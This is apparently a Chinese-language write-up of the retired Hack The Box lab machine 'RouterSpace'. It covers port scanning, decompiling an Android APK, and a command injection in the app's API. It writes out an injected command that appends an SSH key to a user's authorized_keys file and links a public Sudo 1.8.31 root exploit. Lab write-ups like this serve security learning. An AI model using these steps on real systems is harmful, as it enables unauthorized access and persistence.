望你能学以致用,而不是当工具和教程的收集者。我写这个是为了“温故知新”,整理下之前所学习和所使用的技术细节,方便归类和整理碎片知识。
HOST: 10.10.11.148
OS: LINUX
发布时间: 2022-02-27
完成时间: 2022-06-17
机器作者: h4rithd
困难程度: EASY
机器状态: 退休
MACHINE TAGS: #Apktool #Mobile #CommandInjection
使用 Nmap 扫描目标服务器开放端口,访问 Web 服务下载 APK 包至本地分析。通过在安卓设备上运行安装的 APP,找到命令执行漏洞,利用该漏洞写入 ssh 登录免密公钥拿到立足点。最终,通过 Sudo 服务历史漏洞完成权限提升。
使用 Nmap 软件对目标服务器开放端口进行扫描枚举:
$nmap -p- -n -Pn -sC -sV --min-rate 2000 -oA nmap/portscan -v 10.10.11.148PORT STATE SERVICE VERSION
22/tcp open ssh (protocol 2.0)
| ssh-hostkey:
| 3072 f4:e4:c8:0a:a6:af:66:93:af:69:5a:a9:bc:75:f9:0c (RSA)
| 256 7f:05:cd:8c:42:7b:a9:4a:b2:e6:35:2c:c4:59:78:02 (ECDSA)
|_ 256 2f:d7:a8:8b:be:2d:10:b0:c9:b4:29:52:a8:94:24:78 (ED25519)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-RouterSpace Packet Filtering V1
80/tcp open http
|_http-trane-info: Problem with XML parsing of /evox/about
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: RouterSpace
|_http-favicon: Unknown favicon MD5: 1985E1710EE86AD8DE35F9ACC686353A
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 200 OK
| X-Powered-By: RouterSpace
| X-Cdn: RouterSpace-72382
| Content-Type: text/html; charset=utf-8
| Content-Length: 72
| ETag: W/"48-5FsL++OM5MsQ/fNk6Ht3amfAH3E"
| Date: Thu, 16 Jun 2022 08:05:26 GMT
| Connection: close
| Suspicious activity detected !!! {RequestID: Bz 67nR hTY M nh W }
| GetRequest:
| HTTP/1.1 200 OK
| X-Powered-By: RouterSpace
| X-Cdn: RouterSpace-21318
| Accept-Ranges: bytes
| Cache-Control: public, max-age=0
| Last-Modified: Mon, 22 Nov 2021 11:33:57 GMT
| ETag: W/"652c-17d476c9285"
| Content-Type: text/html; charset=UTF-8
| Content-Length: 25900
| Date: Thu, 16 Jun 2022 08:05:23 GMT
| Connection: close
| <!doctype html>
| <html class="no-js" lang="zxx">
| <head>
| <meta charset="utf-8">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>RouterSpace</title>
| <meta name="description" content="">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <link rel="stylesheet" href="css/bootstrap.min.css">
| <link rel="stylesheet" href="css/owl.carousel.min.css">
| <link rel="stylesheet" href="css/magnific-popup.css">
| <link rel="stylesheet" href="css/font-awesome.min.css">
| <link rel="stylesheet" href="css/themify-icons.css">
| HTTPOptions:
| HTTP/1.1 200 OK
| X-Powered-By: RouterSpace
| X-Cdn: RouterSpace-78688
| Allow: GET,HEAD,POST
| Content-Type: text/html; charset=utf-8
| Content-Length: 13
| ETag: W/"d-bMedpZYGrVt1nR4x+qdNZ2GqyRo"
| Date: Thu, 16 Jun 2022 08:05:24 GMT
| Connection: close
| GET,HEAD,POST
| RTSPRequest, X11Probe:
| HTTP/1.1 400 Bad Request
|_ Connection: close
可以看到仅开放了两个端口,看来又是需要再 Web 服务上找突破口了。暂时从上诉的信息中,没有找到有问题的内容。
浏览器访问 80 端口,简单预览了下页面功能发现是个静态的 Web ,只有一个下载 apk 包的地址。
从该地址下载包:http://10.10.11.148/RouterSpace.apk
,本地使用 apktool 工具对其尝试源代码还原。
$ apktool d RouterSpace.apk
I: Using Apktool 2.6.1-dirty on RouterSpace.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
我嫌麻烦直接使用的 jadx,预览的 apk 包。
首选关注的就是 AndroidManifest.xml 文件,按开发标注每一个 Activity 都需要在这个文件里面注册,可以设置默认启动的 Activity、权限等等。可以看到这里是 MainActivity。
仅 return 了一个字符串,看不懂得在安卓机上安装包后再看看。因为我是 Mac 加 IOS 又不想折腾装虚拟机环境,就让同事在他的测试手机上装了 apk 进行分析 ,发现 APP 首页会发一个 POST 请求:
POST /api/v4/monitoring/router/dev/check/deviceAccess HTTP/1.1
accept: application/json, text/plain, */*
user-agent: RouterSpaceAgent
Content-Type: application/json
Content-Length: 16
Host: routerspace.htb
Connection: close
Accept-Encoding: gzip, deflate{"ip":"0.0.0.0"}
随即绑定域名到 hosts,验证 ip 参数发现存在执行漏洞。
接下来就简单了,通过命令执行将本地的 ssh 公钥写入 authorized_keys 文件,成功完成 ssh 登录。
echo 'c3NoLXJzYSBBQUFBQjNOemFD......90QGthbGkK'&&base64 -d >>/home/paul/.ssh/authorized_keys
将 linpeas 传递至目标服务器,运行脚本进一步获取信息。发现 SUDO 版本比较低(1.8.31),且存在能被识别的 CVE 。
但是这个 CVE 是利用不了的因为服务部存在,尝试 CVE-2021-4034 也不行 PwnKit 被修复。
[x] ERROR: Accounts service and Gnome-Control-Center NOT found!!
还是得去找 Sudo 服务低版本的漏洞才行,在 Github 上能直接搜到提权 exp,传递至目标服务器运行就好了。
Sudo 1.8.31 Root Exploit - https://github.com/ikpehlivan/Sudo-1.8.31-Root-Exploit
如果手机的 adb 能获到 root 权限,可以直接使用 adb 快速的开一个 burp 代理进行抓包。
详见: 在 ADB 命令中设置 Android 网络代理
• adb shell settings get global http_proxy
• adb shell settings put global http_proxy <host>:<port>
• adb shell settings delete global http_proxy
• https://www.osboxes.org/android-x86/#android-x86-9-0-r2-vbox
• https://github.com/anbox/anbox